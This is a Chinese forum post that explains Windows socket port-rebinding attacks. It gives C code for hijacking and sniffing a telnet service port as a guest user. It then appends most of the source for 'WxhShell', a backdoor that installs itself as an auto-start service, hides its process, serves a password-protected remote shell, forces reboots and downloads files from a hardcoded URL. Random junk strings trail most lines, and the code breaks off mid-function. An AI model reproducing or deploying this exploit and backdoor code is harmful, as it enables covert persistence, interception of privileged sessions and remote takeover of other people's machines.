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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vkLyGb7r<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oot kf=  
Dk}txw}#  
  saddr.sin_family = AF_INET; -Zqw[2Q4  
c@$W]o"A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L"}2Y3  
S^r[%l<'n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .]/k#Hv  
?}No'E1!I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ygxaT"3"=  
(]$&.gE.F  
  这意味着什么?意味着可以进行如下的攻击: Fyc":{Jd  
pz]KUQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <q=]n%nX  
v>5TTL~?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d6A+pa'2  
72dd%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rGzGbI=  
CL5t6D9Qi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5oR)  
C <H$}f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :!fU+2$`^(  
tY60~@YO&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aL/7xa  
6G:7r [  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l?KP /0`  
$Q`\-  
  #include X + B=?|M  
  #include \n-.gG  
  #include 2lxA/.f  
  #include    p e$WSS J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L7N>p4h]Xj  
  int main() <H|]^An!H  
  { Ca3 {e1  
  WORD wVersionRequested; UM. Se(kS  
  DWORD ret; *s!T$oc  
  WSADATA wsaData; Kp[5"N8  
  BOOL val; DK<}q1xi  
  SOCKADDR_IN saddr; rR(\fX!dg  
  SOCKADDR_IN scaddr; ! ;R}=  
  int err; G.qjw]Llf  
  SOCKET s; {%z5^o1)  
  SOCKET sc; 7/bF0 4~%  
  int caddsize; *!,k`=.([#  
  HANDLE mt; @XH@i+ {B  
  DWORD tid;   Gk)6ljL  
  wVersionRequested = MAKEWORD( 2, 2 ); ,DCrhk  
  err = WSAStartup( wVersionRequested, &wsaData ); Olr'n% }  
  if ( err != 0 ) { KXcE@q9  
  printf("error!WSAStartup failed!\n"); SKVQ !^o  
  return -1; Cil1wFBb  
  } $ 3R5p  
  saddr.sin_family = AF_INET; xS_tB)C  
   Y~U WUF%aK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nW]T-!  
U-#vssJhk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]u%Y8kBe  
  saddr.sin_port = htons(23); F ZfhiIf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Fwdi#g  
  { `12Y2W 9  
  printf("error!socket failed!\n"); D`PA@t  
  return -1; K# h7{RE  
  } RYM[{]4b5F  
  val = TRUE; #$JY &!M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <KZ J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =@.5J'!  
  { ~ \ Udl  
  printf("error!setsockopt failed!\n"); mnM$#%q;%  
  return -1; ];Y tw6A  
  } V.w!]{xm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HCaEETk5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B`|H }KU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *4g:V;L  
78E<_UgcB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t8Giv89{  
  { 8[u$CTl7a  
  ret=GetLastError(); SOvo%L@  
  printf("error!bind failed!\n"); UeaHH]U  
  return -1; l6-%)6u>  
  } j8?rMD~  
  listen(s,2); Ki%RSW(_`  
  while(1) OZno 3Hn  
  { xOc&n0}%  
  caddsize = sizeof(scaddr); DC=XPn/V  
  //接受连接请求 N)X51;+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,>3|\4/Q  
  if(sc!=INVALID_SOCKET) =Ka :i>  
  { } BnPNc[I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z?(QM:  
  if(mt==NULL) II(P  
  { S[RVk=A1  
  printf("Thread Creat Failed!\n"); 8&v%>wxR@  
  break; 9S{0vc/2@  
  } <is%lx(GDX  
  } Bmi9U   
  CloseHandle(mt); b IZi3GmRF  
  } 2%@<A  
  closesocket(s); @;{iCVW  
  WSACleanup(); g;!,2,De}  
  return 0; L_fiE3G|>  
  }   X1GM\*BE  
  DWORD WINAPI ClientThread(LPVOID lpParam) v;IuB  
  { Ai5D[ykX  
  SOCKET ss = (SOCKET)lpParam; s@|TQ9e |j  
  SOCKET sc; HeM-  
  unsigned char buf[4096]; 'dcO-A:>  
  SOCKADDR_IN saddr; 01o,9_|FL  
  long num; |3 v+&eVi  
  DWORD val; 3NgyF[c  
  DWORD ret; 3!u:*ibt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +JY]J89  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xBAASy  
  saddr.sin_family = AF_INET; e",0Er FT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x$24Nc1a'  
  saddr.sin_port = htons(23); vkW]?::Cfd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VY "i>Ae  
  { 79>_aD9  
  printf("error!socket failed!\n"); CM+/.y T  
  return -1; gv9z`[erS  
  } tCr? !Y~  
  val = 100; jUy$aGX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]f3R;d  
  { KJ8Qi+cZ  
  ret = GetLastError(); r<-@.$lf  
  return -1; #l_hiD`;r  
  } /` 4B-Y4M4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k_7agW  
  { oCuKmK8  
  ret = GetLastError(); G1/  
  return -1; aT PmW]w6  
  } 1#^r5E4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n}4Lq^$  
  { 5w@Q %'o`I  
  printf("error!socket connect failed!\n"); 1fU~&?&-u  
  closesocket(sc); '0/[%Q  
  closesocket(ss); %ysf FE  
  return -1; A@JZK+WB}  
  } Iih]q  
  while(1) ^|=3sJ4[U  
  { Dhp|%_>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pc/]t^]p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q#*Pjl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $rz'Ybs  
  num = recv(ss,buf,4096,0); hOIk6}r4X  
  if(num>0) )n17}Qm`V  
  send(sc,buf,num,0); "6o5x&H  
  else if(num==0) C/A~r  
  break; #nJ&`woZt  
  num = recv(sc,buf,4096,0); Ixv/xI  
  if(num>0) -gb'DN1BG  
  send(ss,buf,num,0); S$Fq1  
  else if(num==0) ^ot9Q  
  break; bGa "r  
  } pn4~?Aua0/  
  closesocket(ss); /&G )IY]g  
  closesocket(sc); Fx'E"d  
  return 0 ; XGMO~8 3  
  } 'Mm=<Bh  
o|7 h  
#"aL M6Cfs  
========================================================== }A'Ro/n  
[5QbE$  
下边附上一个代码,,WXhSHELL nN!R!tJPa  
xsSX~`  
========================================================== ^_pJEX  
6*=7ifS  
#include "stdafx.h" -87]$ ax  
@2)ImgK[  
#include <stdio.h> Shb"Jc_i  
#include <string.h> RT+_e  
#include <windows.h> nV&v@g4Tt  
#include <winsock2.h> 9U~sRj=D  
#include <winsvc.h> $|r p5D6  
#include <urlmon.h> hXz@ (cF  
4+15`  
#pragma comment (lib, "Ws2_32.lib")  L\("  
#pragma comment (lib, "urlmon.lib") :_"%o=  
yaKw/vV  
#define MAX_USER   100 // 最大客户端连接数 bcC+af0L  
#define BUF_SOCK   200 // sock buffer n 0CS =  
#define KEY_BUFF   255 // 输入 buffer r&c31k]E  
Z7Xic5PI{4  
#define REBOOT     0   // 重启 ~Y'j8W  
#define SHUTDOWN   1   // 关机 YR}By;Bq  
5WG:m'$$  
#define DEF_PORT   5000 // 监听端口 9V( esveq  
?br4 wl  
#define REG_LEN     16   // 注册表键长度 YUsMq3^&  
#define SVC_LEN     80   // NT服务名长度 m kHcGB!~  
3Mt Alc0xp  
// 从dll定义API UV8K$n<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W05>\Rl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N"rZK/@}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dt|f4 XWF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~ 6-6aYhe  
u#`FkuE\}  
// wxhshell配置信息 ;f)o_:(JJ  
struct WSCFG { E5F0C]hq  
  int ws_port;         // 监听端口 iHL`r1I!  
  char ws_passstr[REG_LEN]; // 口令 t`y*oRy  
  int ws_autoins;       // 安装标记, 1=yes 0=no [W2GLd]  
  char ws_regname[REG_LEN]; // 注册表键名 JypXQC}~  
  char ws_svcname[REG_LEN]; // 服务名 j: /cJt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N"q C-h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7O.{g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dw]wQ\4B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l9X\\uG&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T&PLvyBL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |8YP8o  
{r2fIj~V  
}; KL\]1YX  
a#G]5T Z  
// default Wxhshell configuration Ps_q\R  
struct WSCFG wscfg={DEF_PORT, y:3d`E4Xw  
    "xuhuanlingzhe", EU"J'?  
    1, =j{r95)|u  
    "Wxhshell", ]J* y`jn  
    "Wxhshell", xRU ~h Q  
            "WxhShell Service", O9tgS@*Tv  
    "Wrsky Windows CmdShell Service", Ee?+IZ H7|  
    "Please Input Your Password: ", =y kOh_M  
  1,  p3YF  
  "http://www.wrsky.com/wxhshell.exe", d$(>=gzBQ  
  "Wxhshell.exe" ^#A[cY2eM  
    }; ST[+k  
R1=ir# U|D  
// 消息定义模块 qTl/bFD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @lnM%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oz- k_9%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b-XC\  
char *msg_ws_ext="\n\rExit."; !(wH}ti  
char *msg_ws_end="\n\rQuit."; :&oUI&(o  
char *msg_ws_boot="\n\rReboot..."; =!cI@TI  
char *msg_ws_poff="\n\rShutdown..."; G]- wN7G  
char *msg_ws_down="\n\rSave to "; 4/B n9F  
^sjL@.'m$N  
char *msg_ws_err="\n\rErr!"; 6b8@6;&LI  
char *msg_ws_ok="\n\rOK!"; 6(X5n5C  
KZxA\,Y'5  
char ExeFile[MAX_PATH]; 7JNy;$]/  
int nUser = 0; &PAgab2$  
HANDLE handles[MAX_USER]; .V\ M/q\Tv  
int OsIsNt; 2%DleR'i  
Fc"&lk4e  
SERVICE_STATUS       serviceStatus; F|DKp[<]8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X}5aE4K/  
d$G<g78D  
// 函数声明 @}e'(ju%R  
int Install(void); MK<VjpP0(  
int Uninstall(void); 9A4h?/  
int DownloadFile(char *sURL, SOCKET wsh); @-ma_0cZQ  
int Boot(int flag); g#ZuRL  
void HideProc(void); !^|%Z  
int GetOsVer(void); VnJ-nfA  
int Wxhshell(SOCKET wsl); ab=s+[r1  
void TalkWithClient(void *cs); hR$lX8  
int CmdShell(SOCKET sock); %YaUc{.%  
int StartFromService(void); ^3-Wxn9&  
int StartWxhshell(LPSTR lpCmdLine); iZy`5  
L8~nx}UP5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O&:0mpRZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Pc0|Z/  
w$5N6  
// 数据结构和表定义 Vd{h|=J  
SERVICE_TABLE_ENTRY DispatchTable[] = #NVqS5  
{ ] _/d  
{wscfg.ws_svcname, NTServiceMain}, YW}1iT/H  
{NULL, NULL} Qjj:r~l  
}; Qn7l-:`?  
QS~;C&1Hl  
// 自我安装 ')9%eBaeK  
int Install(void) @x@w<e%  
{ PSdH9ea  
  char svExeFile[MAX_PATH]; r]{fjw(~  
  HKEY key; p.2>- L  
  strcpy(svExeFile,ExeFile); :`Kr|3bQ  
8dw]i1t<  
// 如果是win9x系统,修改注册表设为自启动 :8_`T$8i4  
if(!OsIsNt) { {tE/Jv $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4JHQ^i-aY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -%=StWdb   
  RegCloseKey(key); [hg|bpEG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Q\ZYCPOr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  afEp4(X~  
  RegCloseKey(key); W7a s =+;X  
  return 0; -?b@6U  
    } >EMgP1  
  } 1q!JpC^  
} c= 2e?  
else { *x| <\_+  
{zGIQG9  
// 如果是NT以上系统,安装为系统服务 OvPy+I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V=|^r?  
if (schSCManager!=0) Y\ T*8\h_[  
{ rI}E2J  
  SC_HANDLE schService = CreateService &F}1\6{fL  
  ( &bJ98 Nxl  
  schSCManager, =3=KoH/'  
  wscfg.ws_svcname, zJMKgw,i*  
  wscfg.ws_svcdisp, F.=u Jdl.!  
  SERVICE_ALL_ACCESS, );h\0w>3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z"gllpDr$  
  SERVICE_AUTO_START, oQDOwM,  
  SERVICE_ERROR_NORMAL, co3H=#2a  
  svExeFile, \i-jME(sN  
  NULL, =tcPYYD  
  NULL, *eXO?6f%s^  
  NULL, ^c]Sl  
  NULL, 2LYd # !i  
  NULL ZZC= 7FB  
  ); F!>K8q  
  if (schService!=0) 1A- 8,)  
  { LM'` U-/e$  
  CloseServiceHandle(schService); +29;T0>a  
  CloseServiceHandle(schSCManager); Z"? AaD[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Za!c=(5  
  strcat(svExeFile,wscfg.ws_svcname); s/[i>`g/9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ud:?~?j&w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =X X_C nn  
  RegCloseKey(key); V8Q#%#)FHe  
  return 0; 5?kA)!|UB  
    } 8{+~3@T  
  } @sKAsn  
  CloseServiceHandle(schSCManager); pOI+  
} z K8#gif@  
} ~DZ;l/&Mz7  
5 J|;RtcR  
return 1; gSj-~k P  
} CHpDzG>]4  
%,,h )9  
// 自我卸载 ,H[AC}z2X  
int Uninstall(void) 0D#!!r ;  
{ ;D8Nya>%  
  HKEY key; wI}'wALhA  
K=5_jE^e  
if(!OsIsNt) { 0HD1Ob^@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5,AQ~_,'\  
  RegDeleteValue(key,wscfg.ws_regname); ,f?#i%EF&  
  RegCloseKey(key); 0acY@_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N2&aU?`e  
  RegDeleteValue(key,wscfg.ws_regname); @?]-5~3;  
  RegCloseKey(key); \S7OC   
  return 0; %y w*!A1  
  } )N=b<%WD   
} /1li^</|p`  
} Aq'%a)Y2  
else { =cC]8Pz?  
cn\& ;55v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eBAB7r/7  
if (schSCManager!=0) KR^peWR  
{ 1yB;"q&Xd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .;KupQ;*  
  if (schService!=0) M<$l&%<`G  
  { ` `;$Kr  
  if(DeleteService(schService)!=0) { ') 1sw%[2  
  CloseServiceHandle(schService); peqFa._W  
  CloseServiceHandle(schSCManager); F[=m|MZb  
  return 0; |C&eH$?~=R  
  } Xi{(1o4%  
  CloseServiceHandle(schService); [S4\fy0  
  } *VlYl"  
  CloseServiceHandle(schSCManager); hYd8}BvA  
} |16 :Zoq  
} ESrWRO f9  
X3m?zQbhv  
return 1; *Ra")(RnDK  
} n&C9f9S  
Y!7P>?)`,X  
// 从指定url下载文件 k(qQvn  
int DownloadFile(char *sURL, SOCKET wsh) Wq9s[)F"Z  
{ ?^ErrlI_  
  HRESULT hr; #P9VX5Tg  
char seps[]= "/"; !F<?he<U  
char *token; Awh"SU Oh0  
char *file; 5nj~RUK  
char myURL[MAX_PATH]; b<( W}$x  
char myFILE[MAX_PATH]; zBs7]z!eP  
W"-nzdAJ5  
strcpy(myURL,sURL); CXQ ?P  
  token=strtok(myURL,seps); S-/ #3  
  while(token!=NULL) f.P( {PN  
  { w%_BX3GTO  
    file=token; p 5o;Rvr  
  token=strtok(NULL,seps); KFs` u6  
  } Q~@8t"P  
9bNIaC*M  
GetCurrentDirectory(MAX_PATH,myFILE); cY"^3Ot%^  
strcat(myFILE, "\\"); *tO<wp&  
strcat(myFILE, file); oPbD9  
  send(wsh,myFILE,strlen(myFILE),0); rOD KM-7+  
send(wsh,"...",3,0); \fKE~61  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `P5"5N\h  
  if(hr==S_OK) .~U9*5d  
return 0; l46F3C|  
else 0/gcSW b  
return 1; QLUe{@ivc  
$($SQZK&  
} 6'%]6"&M4  
e"CLhaT  
// 系统电源模块 +-nQ, fOV  
int Boot(int flag) ,pASjFWi  
{ piG1&*  
  HANDLE hToken; h[8y$.YsC  
  TOKEN_PRIVILEGES tkp; c~'kW`sNV  
@iRVY|t/  
  if(OsIsNt) { 1}uDgz^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z )pV$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I7~|!d6  
    tkp.PrivilegeCount = 1; =z3jFaZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; op-#Ig$#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b tu:@s8ci  
if(flag==REBOOT) { _Nn!SE   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .;:xx~G_Q  
  return 0; :}JZKj!}M  
} l17ZNDzLU  
else { :z\f.+MI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CN=&Je%I  
  return 0; itF+6wv~  
} ?W n(ciO  
  } :65HMWy.  
  else { f$>orVm%.  
if(flag==REBOOT) { m#nxw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cBI )?  
  return 0; ]p!J]YV ]0  
} i4I0oRp  
else { MP,*W}@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2jW>uk4/i  
  return 0; {Pb^Lf >  
} 3I5WDuq  
} QRlzGRueR&  
Ng"vBycy  
return 1; i-?zwVmn  
} RNdnlD#P  
y2R=%EFh6  
// win9x进程隐藏模块 re!8nuBsA  
void HideProc(void) ]CZLaID~  
{ vVYduvw  
V8yX7yx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pNlisS  
  if ( hKernel != NULL ) ^JtHTLHL=  
  { Y*k<NeDyn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lAk1ncx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i'wF>EBz  
    FreeLibrary(hKernel); V@S/!h+  
  } !7)ID7d  
}BJ1#<  
return; 5Mr;6 ]I<  
} {_Qxe1^g  
/ D ]B  
// 获取操作系统版本 3@] a#>  
int GetOsVer(void) \=7=>x_  
{ 1[l>D1F?  
  OSVERSIONINFO winfo; IBkH+j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HzV+g/8>A  
  GetVersionEx(&winfo); y.:-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $-]setdY  
  return 1; JJ?ri,  
  else d&bc>Vt  
  return 0; Z]TVH8%|k  
} ]7t\%_  
vB5iG|b}  
// 客户端句柄模块 LH#LBjOZk  
int Wxhshell(SOCKET wsl) l :Nxl  
{ MNqyEc""  
  SOCKET wsh; g u =fq\`  
  struct sockaddr_in client; \hW73a!  
  DWORD myID; eH955[fVd4  
q "D L6 >j  
  while(nUser<MAX_USER)  sGls^J)  
{ :EwA$`/  
  int nSize=sizeof(client); %_MR.J+m2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oRThJB  
  if(wsh==INVALID_SOCKET) return 1; [7 `Dgnmq  
tgtoK|.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FRt/{(jro  
if(handles[nUser]==0) ,?<h] !aQ  
  closesocket(wsh); m]d6@"Z.  
else ^Cn]+0G#C8  
  nUser++; ff1B)e  
  } 0~b6wuFl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !7`=rT&  
j' KobyX<  
  return 0; hS{ *l9v7  
} eBTedSM?t  
7(8  
// 关闭 socket q;../h]Ne  
void CloseIt(SOCKET wsh) J+ZdZa}Ob  
{ $lAb6e$n  
closesocket(wsh); Q(5:~**I  
nUser--; [y[v]'  
ExitThread(0); `$Flgp0P  
} bC>>^?U1m  
V 1nZ M  
// 客户端请求句柄 $t# ,'M  
void TalkWithClient(void *cs) XjZao<?u  
{ BMWeD  
jnp6qpY{  
  SOCKET wsh=(SOCKET)cs; %[\x%m)  
  char pwd[SVC_LEN]; Z*(! `,.bB  
  char cmd[KEY_BUFF]; J s<MJ4r>/  
char chr[1]; 5m USh3  
int i,j; +.#S[G  
*DC Nu{6  
  while (nUser < MAX_USER) { J=SB/8tQ)T  
6a]f&={E  
if(wscfg.ws_passstr) { oB06{/6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0/P-> n~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W|rFl]~a  
  //ZeroMemory(pwd,KEY_BUFF); 5;MK1l  
      i=0; 8wpwJs&V  
  while(i<SVC_LEN) { @~#79B"9&  
AzO3(1:  
  // 设置超时 EXW 6yXLV  
  fd_set FdRead; wJos'aTmE  
  struct timeval TimeOut; k3/JQ]'D  
  FD_ZERO(&FdRead); [^d6cMEOlc  
  FD_SET(wsh,&FdRead); ok%a|Zz+]  
  TimeOut.tv_sec=8; ooU Sb  
  TimeOut.tv_usec=0; dbT^9: Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *o e0=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w4fJ`,  
&PBWJ?@O)r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a.}:d30  
  pwd=chr[0]; 4R*<WdT(  
  if(chr[0]==0xd || chr[0]==0xa) { m wEVEx24  
  pwd=0; BRU9LS  
  break; .`Old{<  
  } qe6C|W~n  
  i++; _ U8OIXN  
    } X:SzkkVl7  
18p3  
  // 如果是非法用户,关闭 socket U??f<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4`!  
} ]i,Mq  
9HNh*Gc=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fyg~KF}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J'&B:PZObB  
!/Bw,y ri<  
while(1) { Av v  
=Mu'+,dT  
  ZeroMemory(cmd,KEY_BUFF); ~0[G/A$]  
\/'#=q1  
      // 自动支持客户端 telnet标准   X\p`pw$  
  j=0; 3 !>L?  
  while(j<KEY_BUFF) { 'tV"^KQHI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d JQ }{,+6  
  cmd[j]=chr[0]; mWN1Q<vn,l  
  if(chr[0]==0xa || chr[0]==0xd) { *@G(3 n  
  cmd[j]=0; 0'%+X|  
  break; cfC;eRgq~  
  } g3|Y$/J7P  
  j++; ^E<~zO=Z  
    } )0 n29  
#}t 1   
  // 下载文件 (J^Lqh_  
  if(strstr(cmd,"http://")) { <^*+8{*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ??\*D9rCn  
  if(DownloadFile(cmd,wsh)) iUxDEt[t*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fD\^M{5f  
  else ^aD/ .  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}}PlGp$  
  } =hugnX<9  
  else { EN-8uY.  
/HjI=263  
    switch(cmd[0]) { ek(kY6x:  
  :@QK}qFP  
  // 帮助 4iYKW2a  
  case '?': { v't6 yud  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c_-" Qo  
    break; , Y g5X  
  } DX&lBV  
  // 安装 zO).<xIq+  
  case 'i': { n $O.>  
    if(Install()) +9 16ZPk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O{")i;v @  
    else y?Hj %,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8ZHk?:  
    break; Y>78h2AU  
    } BYr_Lz|T  
  // 卸载 J:g<RZZ1  
  case 'r': { Z/NGv  
    if(Uninstall()) ,Ou1!`6?t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %2Xus9;k#  
    else X]zCTY=l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ')P2O\YS  
    break; j'#jnP*P  
    } \'s$ZN$k  
  // 显示 wxhshell 所在路径 xJ=ZQ)&]  
  case 'p': { QLF,/"  
    char svExeFile[MAX_PATH]; 2<y}91N:  
    strcpy(svExeFile,"\n\r"); n!kk~65|  
      strcat(svExeFile,ExeFile); PuCwdTan_  
        send(wsh,svExeFile,strlen(svExeFile),0); To#E@Nw  
    break; C;d|\[7Z  
    } NRHr6!f>  
  // 重启 a%MzNH  
  case 'b': { @O}IrC!bf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $tDCS  
    if(Boot(REBOOT)) koncWyW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <K DH  
    else { Nl=m'4 @`  
    closesocket(wsh); ]= ?X*,'  
    ExitThread(0); P S_3Oq)  
    } gtaV6sD  
    break; {2}tPT[a(  
    } zqHpT^B?  
  // 关机 pIID= 8RJ.  
  case 'd': { 9atjK4+o  
